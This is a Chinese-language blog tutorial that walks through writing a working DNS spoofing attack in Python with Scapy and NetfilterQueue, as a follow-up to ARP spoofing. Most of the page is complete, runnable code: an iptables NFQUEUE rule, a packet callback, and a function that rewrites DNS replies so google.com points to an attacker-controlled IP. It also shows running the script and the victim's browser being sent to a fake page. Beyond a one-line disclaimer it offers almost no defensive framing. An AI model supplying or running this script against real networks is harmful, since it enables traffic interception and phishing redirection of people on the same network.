如何在Python中使用Scapy进行DNS欺骗攻击?

2021年11月16日16:25:05 发表评论 2,274 次浏览

如何使用Scapy进行DNS欺骗攻击?本文使用 Scapy 库在 Python 中编写 DNS 欺骗脚本,以成功更改同一网络中目标机器的 DNS 缓存,包括Python实现DNS欺骗攻击示例

在之前的教程中,我们讨论了 ARP 欺骗以及如何使用 Scapy 库成功进行这种攻击。但是,我们还没有提到成为中间人的好处。Python如何实现DNS欺骗攻击?在本教程中,我们将看到其中一种有趣的方法,DNS 欺骗。

什么是 DNS

Domain NAME System服务器把人类可读的域名(例如google.com)到用于使服务器和客户端之间的连接,例如一个IP地址,如果用户想要连接到google.com,用户机器会自动向DNS服务器发送请求,说我想要google.com的IP地址如图:

如何在Python中使用Scapy进行DNS欺骗攻击?服务器会响应该域名对应的IP地址:

如何在Python中使用Scapy进行DNS欺骗攻击?

然后用户将正常连接到服务器:

如何在Python中使用Scapy进行DNS欺骗攻击?

好吧,这是完全正常的,但是现在如果用户和互联网之间有一个中间人机器呢?好吧,那个中间人可能是 DNS 欺骗者!

什么是 DNS 欺骗

DNS 欺骗,也称为 DNS 缓存中毒,是一种计算机安全黑客攻击形式,  将损坏的 域名系统 数据引入 DNS 解析器的 缓存,导致 名称服务器 返回错误的结果记录,例如 IP 地址。. 这会导致 流量被转移到攻击者的计算机(或任何其他计算机)。(维基百科

但是我们要使用的方法有点不同,让我们看看它的实际效果:

如何在Python中使用Scapy进行DNS欺骗攻击?

注意:为了成为中间人,你需要执行ARP 欺骗脚本,因此受害者将首先将 DNS 请求发送到你的机器,而不是直接将它们路由到 Internet。

现在,由于攻击者介于两者之间,他将收到指示“google.com 的 IP 地址是什么”的 DNS 请求,然后将其转发到 DNS 服务器,如下图所示:

如何在Python中使用Scapy进行DNS欺骗攻击?DNS 服务器收到一个合法的请求,它将响应一个 DNS 响应:

如何在Python中使用Scapy进行DNS欺骗攻击?

攻击者现在收到了具有google.com真实 IP 地址的 DNS 响应,他现在要做的是将该 IP 地址更改为恶意的假 IP(在这种情况下,他自己的 Web 服务器192.168.1.100或192.168.1.106 管他呢 ):

如何在Python中使用Scapy进行DNS欺骗攻击?

这样,当用户在浏览器中输入google.com时,他会在没有注意到的情况下看到攻击者的虚假页面!

让我们看看如何在 Python 中使用Scapy实施这种攻击。

编写脚本

如何使用Scapy进行DNS欺骗攻击?首先,我需要提到我们将使用NetfilterQueue 库,它提供对Linux 中iptables规则匹配的数据包的访问(因此这仅适用于 Linux 发行版)。

Python实现DNS欺骗攻击示例 - 你可能已经猜到了,我们需要插入一个 iptables 规则,打开 linux 终端并输入:

iptables -I FORWARD -j NFQUEUE --queue-num 0

此规则表明,无论何时转发数据包,都将其重定向(-j表示 jump )到 netfilter 队列编号0。这将使我们能够将所有转发的数据包重定向到 Python。 

Python如何实现DNS欺骗攻击?现在,让我们安装所需的依赖项:

pip3 install netfilterqueue scapy

让我们导入我们的模块(你需要先安装 Scapy,请参阅本教程 或 官方 scapy 文档进行安装):

from scapy.all import *
from netfilterqueue import NetfilterQueue
import os

让我们定义我们的 DNS 字典:

# DNS mapping records, feel free to add/modify this dictionary
# for example, google.com will be redirected to 192.168.1.100
dns_hosts = {
    b"www.google.com.": "192.168.1.100",
    b"google.com.": "192.168.1.100",
    b"facebook.com.": "172.217.19.142"
}

netfilter 队列对象将需要一个回调,每当数据包被转发时都会调用该回调,让我们实现它:

def process_packet(packet):
    """
    Whenever a new packet is redirected to the netfilter queue,
    this callback is called.
    """
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply)
        # modify the packet
        print("[Before]:", scapy_packet.summary())
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # not UDP packet, this can be IPerror/UDPerror packets
            pass
        print("[After ]:", scapy_packet.summary())
        # set back as netfilter queue packet
        packet.set_payload(bytes(scapy_packet))
    # accept the packet
    packet.accept()

Python如何实现DNS欺骗攻击?我们这里所做的只是将netfilter队列数据包转换成scapy数据包,然后检查它是否是DNS响应,如果是,我们需要使用modify_packet(packet)函数对其进行修改,让我们定义它:

def modify_packet(packet):
    """
    Modifies the DNS Resource Record `packet` ( the answer part)
    to map our globally defined `dns_hosts` dictionary.
    For instance, whenever we see a google.com answer, this function replaces 
    the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
    """
    # get the DNS question name, the domain name
    qname = packet[DNSQR].qname
    if qname not in dns_hosts:
        # if the website isn't in our record
        # we don't wanna modify that
        print("no modification:", qname)
        return packet
    # craft new answer, overriding the original
    # setting the rdata for the IP we want to redirect (spoofed)
    # for instance, google.com will be mapped to "192.168.1.100"
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
    # set the answer count to 1
    packet[DNS].ancount = 1
    # delete checksums and length of packet, because we have modified the packet
    # new calculations are required ( scapy will do automatically )
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # return the modified packet
    return packet

现在,让我们在插入 iptables 规则后实例化 netfilter 队列对象:

QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()

Python实现DNS欺骗攻击示例 - 我们需要将 netfilter 队列号与我们刚刚编写的回调绑定并启动它:

try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")

如何使用Scapy进行DNS欺骗攻击?我将它包装在try-except 中以检测何时单击 CTRL+C,因此我们可以删除刚刚插入的 iptables 规则。

就是这样,现在在我们执行它之前,记住我们需要一个中间人,所以让我们执行我们在上一个教程中制作的arp 欺骗脚本:

如何在Python中使用Scapy进行DNS欺骗攻击?让我们执行我们刚刚创建的 dns 欺骗器:

root@rockikz:~# python3 dns_spoof.py

现在脚本正在侦听 DNS 响应,让我们转到受害机器并 ping google.com:

如何在Python中使用Scapy进行DNS欺骗攻击?

等等,什么?google.com的 IP 地址是192.168.1.100!

让我们尝试浏览谷歌:

如何在Python中使用Scapy进行DNS欺骗攻击?

我在192.168.1.100(本地服务器)上设置了一个简单的 Web 服务器,它返回此页面,现在google.com映射到192.168.1.100!太棒了。

回到攻击者的机器:

如何在Python中使用Scapy进行DNS欺骗攻击?

Python如何实现DNS欺骗攻击?到处你已成功完成编写一个非常重要的 DNS 欺骗攻击脚本。如果你想完成攻击,只需在 arp 欺骗器和 dns 欺骗器上单击 CTRL+C 即可完成。

免责声明:我不负责在你无权使用的网络中使用此脚本,请自行负责使用。

总结一下,这种方法在网络渗透测试人员中被广泛使用,现在你应该意识到这种攻击。

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: